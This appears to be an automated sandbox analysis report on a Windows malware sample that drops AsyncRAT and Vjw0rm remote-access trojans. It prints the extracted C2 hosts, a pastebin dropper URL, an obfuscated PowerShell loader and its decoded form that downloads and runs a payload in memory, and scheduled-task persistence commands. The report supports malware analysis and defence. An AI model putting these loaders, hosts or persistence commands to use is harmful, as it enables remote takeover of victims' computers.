Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/09/2024, 01:47

General

  • Target
    08c456bc976fd183171bf7fef71d8fc37894a9e0e2c3b041b589cd864fce698a.exe
  • Size 669KB
  • Sample240910-b7m33ssfqe
  • SHA256 08c456bc976fd183171bf7fef71d8fc37894a9e0e2c3b041b589cd864fce698a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://pastebin.com/raw/V9y5Q5vv

Extracted

Family
  • asyncrat

Version
  • 1.0.7

Botnet
  • SUEPR ENVIO SEP03

C2
  • nyan43.duckdns.org:1963

Mutex
  • YHGBVFDC

Attributes
  • delay

    15

  • install

    false

  • install_file

    qawsedrftyujgh.exe

  • install_folder

    %AppData%

aes.plain

Extracted

Family
  • vjw0rm

C2
  • http://yuya0415.duckdns.org:1928

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Vjw0rm

    Vjw0rm is a remote access trojan written in JavaScript.

  • Blocklisted process makes network request 26 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\08c456bc976fd183171bf7fef71d8fc37894a9e0e2c3b041b589cd864fce698a.exe
    "C:\Users\Admin\AppData\Local\Temp\08c456bc976fd183171bf7fef71d8fc37894a9e0e2c3b041b589cd864fce698a.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4800
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DOCC..bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4768
      • C:\Users\Admin\AppData\Local\Temp\DOCUMENTOS.exe
        DOCUMENTOS.exe -pA2024 -dC:\Users\Admin\AppData\Local\Temp
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:1240
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\..............js"
          4⤵
          • Blocklisted process makes network request
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          PID:812
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\..........vbs"
          4⤵
          • Checks computer location settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3900
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /delete /tn task name /f
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2928
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /tn task name /tr "C:\Users\Admin\AppData\Local\Temp\GLPd.vbs" /sc minute /mo minutos
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:3944
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $MkplqW = 'J☼Bq☼HY☼bgBl☼HU☼I☼☼9☼C☼☼Jw☼w☼DE☼Jw☼7☼CQ☼bwB6☼HM☼agBm☼C☼☼PQ☼g☼Cc☼JQBw☼Ho☼QQBj☼E8☼ZwBJ☼G4☼TQBy☼CU☼Jw☼7☼Fs☼UwB5☼HM☼d☼Bl☼G0☼LgBO☼GU☼d☼☼u☼FM☼ZQBy☼HY☼aQBj☼GU☼U☼Bv☼Gk☼bgB0☼E0☼YQBu☼GE☼ZwBl☼HI☼XQ☼6☼Do☼UwBl☼HI☼dgBl☼HI☼QwBl☼HI☼d☼Bp☼GY☼aQBj☼GE☼d☼Bl☼FY☼YQBs☼Gk☼Z☼Bh☼HQ☼aQBv☼G4☼QwBh☼Gw☼b☼Bi☼GE☼YwBr☼C☼☼PQ☼g☼Hs☼J☼B0☼HI☼dQBl☼H0☼OwBb☼FM☼eQBz☼HQ☼ZQBt☼C4☼TgBl☼HQ☼LgBT☼GU☼cgB2☼Gk☼YwBl☼F☼☼bwBp☼G4☼d☼BN☼GE☼bgBh☼Gc☼ZQBy☼F0☼Og☼6☼FM☼ZQBj☼HU☼cgBp☼HQ☼eQBQ☼HI☼bwB0☼G8☼YwBv☼Gw☼I☼☼9☼C☼☼WwBT☼Hk☼cwB0☼GU☼bQ☼u☼E4☼ZQB0☼C4☼UwBl☼GM☼dQBy☼Gk☼d☼B5☼F☼☼cgBv☼HQ☼bwBj☼G8☼b☼BU☼Hk☼c☼Bl☼F0☼Og☼6☼FQ☼b☼Bz☼DE☼Mg☼7☼Fs☼QgB5☼HQ☼ZQBb☼F0☼XQ☼g☼CQ☼dQBo☼G0☼eQB6☼C☼☼PQ☼g☼Fs☼cwB5☼HM☼d☼Bl☼G0☼LgBD☼G8☼bgB2☼GU☼cgB0☼F0☼Og☼6☼EY☼cgBv☼G0☼QgBh☼HM☼ZQ☼2☼DQ☼UwB0☼HI☼aQBu☼Gc☼K☼☼g☼Cg☼TgBl☼Hc☼LQBP☼GI☼agBl☼GM☼d☼☼g☼E4☼ZQB0☼C4☼VwBl☼GI☼QwBs☼Gk☼ZQBu☼HQ☼KQ☼u☼EQ☼bwB3☼G4☼b☼Bv☼GE☼Z☼BT☼HQ☼cgBp☼G4☼Zw☼o☼C☼☼K☼BO☼GU☼dw☼t☼E8☼YgBq☼GU☼YwB0☼C☼☼TgBl☼HQ☼LgBX☼GU☼YgBD☼Gw☼aQBl☼G4☼d☼☼p☼C4☼R☼Bv☼Hc☼bgBs☼G8☼YQBk☼FM☼d☼By☼Gk☼bgBn☼Cg☼JwBo☼HQ☼d☼Bw☼Do☼Lw☼v☼H☼☼YQBz☼HQ☼ZQBi☼Gk☼bg☼u☼GM☼bwBt☼C8☼cgBh☼Hc☼LwBW☼Dk☼eQ☼1☼FE☼NQB2☼HY☼Jw☼p☼C☼☼KQ☼g☼Ck☼OwBb☼HM☼eQBz☼HQ☼ZQBt☼C4☼QQBw☼H☼☼R☼Bv☼G0☼YQBp☼G4☼XQ☼6☼Do☼QwB1☼HI☼cgBl☼G4☼d☼BE☼G8☼bQBh☼Gk☼bg☼u☼Ew☼bwBh☼GQ☼K☼☼k☼HU☼a☼Bt☼Hk☼eg☼p☼C4☼RwBl☼HQ☼V☼B5☼H☼☼ZQ☼o☼Cc☼QwBs☼GE☼cwBz☼Ew☼aQBi☼HI☼YQBy☼Hk☼Mw☼u☼EM☼b☼Bh☼HM☼cw☼x☼Cc☼KQ☼u☼Ec☼ZQB0☼E0☼ZQB0☼Gg☼bwBk☼Cg☼JwBN☼HM☼cQBC☼Ek☼YgBZ☼Cc☼KQ☼u☼Ek☼bgB2☼G8☼awBl☼Cg☼J☼Bu☼HU☼b☼Bs☼Cw☼I☼Bb☼G8☼YgBq☼GU☼YwB0☼Fs☼XQBd☼C☼☼K☼☼n☼CY☼Nw☼5☼DU☼Nw☼3☼D☼☼NgBm☼Dg☼N☼Bm☼Dk☼M☼Bj☼Dk☼Nw☼2☼Dc☼NQ☼5☼DM☼O☼Bj☼GU☼MwBi☼GQ☼NgBj☼GE☼N☼Bj☼DY☼MwBi☼DE☼ZgBj☼DY☼Nw☼5☼DM☼Z☼Bj☼DM☼YQ☼1☼GE☼MgBi☼GI☼Mw☼x☼GM☼MwBi☼DQ☼Z☼Bh☼DY☼MQBk☼GM☼Zg☼9☼G0☼a☼☼m☼DU☼MQ☼y☼DQ☼NwBk☼DY☼Ng☼9☼HM☼aQ☼m☼DU☼OQ☼z☼Dk☼O☼Bk☼DY☼Ng☼9☼Hg☼ZQ☼/☼HQ☼e☼B0☼C4☼Mw☼0☼E4☼QQBZ☼Ek☼TgBD☼EQ☼Lw☼4☼Dg☼N☼☼1☼Dc☼MQ☼y☼Dg☼O☼☼z☼DU☼Ng☼0☼Dc☼NQ☼w☼Dg☼Mg☼x☼C8☼Mw☼1☼DE☼MQ☼z☼DE☼NQ☼4☼DE☼Mg☼3☼DY☼MQ☼5☼DE☼M☼☼4☼DI☼MQ☼v☼HM☼d☼Bu☼GU☼bQBo☼GM☼YQB0☼HQ☼YQ☼v☼G0☼bwBj☼C4☼c☼Bw☼GE☼Z☼By☼G8☼YwBz☼Gk☼Z☼☼u☼G4☼Z☼Bj☼C8☼Lw☼6☼HM☼c☼B0☼HQ☼a☼☼n☼C☼☼L☼☼g☼CQ☼bwB6☼HM☼agBm☼C☼☼L☼☼g☼Cc☼XwBf☼F8☼XwBf☼F8☼R☼BD☼E4☼SQBZ☼EE☼TgBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼C0☼LQ☼t☼C0☼LQ☼t☼C0☼Jw☼s☼C☼☼J☼Bq☼HY☼bgBl☼HU☼L☼☼g☼Cc☼MQ☼n☼Cw☼I☼☼n☼FI☼bwBk☼GE☼Jw☼g☼Ck☼KQ☼7☼☼==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $MkplqW.replace('☼','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\..........vbs');powershell -command $KByHL;
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4508
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$jvneu = '01';$ozsjf = 'C:\Users\Admin\AppData\Local\Temp\..........vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $uhmyz = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($uhmyz).GetType('ClassLibrary3.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('&7957706f84f90c97675938ce3bd6ca4c63b1fc6793dc3a5a2bb31c3b4da61dcf=mh&51247d66=si&59398d66=xe?txt.34NAYINCD/8845712883564750821/3511315812761910821/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $ozsjf , '______DCNIYAN_____________________________________-------', $jvneu, '1', 'Roda' ));"
              6⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4836
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\Admin\AppData\Local\Temp\xx1.ps1
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4972
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\Admin\AppData\Local\Temp\xx1.ps1
                  8⤵
                  • Adds Run key to start application
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2140
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\..........vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4092
        • C:\Users\Admin\AppData\Local\Temp\.......exe
          "C:\Users\Admin\AppData\Local\Temp\.......exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3036
          • C:\Users\Admin\AppData\Local\Temp\.......exe
            "C:\Users\Admin\AppData\Local\Temp\.......exe"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:4788

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        • Size 1KB
        • SHA256 03c404532d410575bc3c3aeb45e8c3f0156801f985eb66111aee0672e682155a
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 12KB
        • SHA256 e39822b07556f25638e971d2b586fa47aaeec1219e1d1e22b2c458a9ba7e95a8
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 30be0707c846571124b891fa050ef9c79daba83ef30470f92923f9b0a81192ee
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 16KB
        • SHA256 a64ffed74f351c40db8c0b4e7bfc103e29eea9ee734fb09279fd41ce18c61c96
        • MD5 SHA1 SHA512 SSDEEP

        ..............js

        • Path C:\Users\Admin\AppData\Local\Temp\..............js
        • Size 19KB
        • SHA256 d65a679961d19a6b4019bf4b236358376512776779c6ef553afb1a82066ae5b5
        • MD5 SHA1 SHA512 SSDEEP

        ..........vbs

        • Path C:\Users\Admin\AppData\Local\Temp\..........vbs
        • Size 11.1MB
        • SHA256 89e19321c824beee9a59f3099287709c97ff2741601d87575ecae823b72330fe
        • MD5 SHA1 SHA512 SSDEEP

        .......exe

        • Path C:\Users\Admin\AppData\Local\Temp\.......exe
        • Size 168KB
        • SHA256 0061e8f7d0c9996657cf12c53bd07b3c803b209fc20dbfb085c96f6a3e34fa80
        • MD5 SHA1 SHA512 SSDEEP

        DOCC..bat

        • Path C:\Users\Admin\AppData\Local\Temp\DOCC..bat
        • Size 31B
        • SHA256 f6139a5b45f9d856e978740acb52bd00e38dd963006293f05b7f279f61dce123
        • MD5 SHA1 SHA512

        DOCUMENTOS.exe

        • Path C:\Users\Admin\AppData\Local\Temp\DOCUMENTOS.exe
        • Size 496KB
        • SHA256 d33377b73ab3ab2b13508d9e4c293cc45b63bb2cb94297d39822f71e66a20d36
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_m1j3laeo.5z4.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m1j3laeo.5z4.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        xx1.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\xx1.ps1
        • Size 286B
        • SHA256 9924b64a99a84a6d31d8d8733ca565ceffc6adebdc3f77912f429eeaadfef1c7
        • MD5 SHA1 SHA512

        memory/3036-37-0x0000000004E30000-0x0000000004E3A000-memory.dmp

        memory/3036-38-0x0000000005060000-0x00000000050FC000-memory.dmp

        memory/3036-32-0x0000000000410000-0x0000000000440000-memory.dmp

        memory/3036-33-0x0000000005220000-0x00000000057C4000-memory.dmp

        memory/3036-34-0x0000000004D10000-0x0000000004DA2000-memory.dmp

        memory/3036-35-0x0000000004CE0000-0x0000000004D0A000-memory.dmp

        memory/3036-39-0x0000000004F60000-0x0000000004F6A000-memory.dmp

        memory/4092-108-0x00000000069B0000-0x00000000069D2000-memory.dmp

        memory/4092-107-0x0000000007470000-0x0000000007506000-memory.dmp

        memory/4508-59-0x0000000005E30000-0x0000000005E7C000-memory.dmp

        memory/4508-58-0x0000000005D80000-0x0000000005D9E000-memory.dmp

        memory/4508-42-0x0000000002460000-0x0000000002496000-memory.dmp

        memory/4508-57-0x00000000057D0000-0x0000000005B24000-memory.dmp

        memory/4508-43-0x0000000005130000-0x0000000005758000-memory.dmp

        memory/4508-45-0x0000000004D30000-0x0000000004D52000-memory.dmp

        memory/4508-46-0x0000000005050000-0x00000000050B6000-memory.dmp

        memory/4508-47-0x0000000005760000-0x00000000057C6000-memory.dmp

        memory/4788-40-0x0000000000400000-0x0000000000412000-memory.dmp

        memory/4836-70-0x0000000006390000-0x00000000063AA000-memory.dmp

        memory/4836-71-0x0000000004BB0000-0x0000000004BB8000-memory.dmp

        memory/4836-69-0x00000000075C0000-0x0000000007C3A000-memory.dmp

        memory/4972-104-0x0000000007370000-0x0000000007413000-memory.dmp

        memory/4972-103-0x00000000072F0000-0x000000000730E000-memory.dmp

        memory/4972-112-0x0000000007730000-0x000000000773A000-memory.dmp

        memory/4972-92-0x0000000007330000-0x0000000007362000-memory.dmp

        memory/4972-93-0x0000000073FC0000-0x000000007400C000-memory.dmp

        memory/4972-115-0x00000000078C0000-0x00000000078D1000-memory.dmp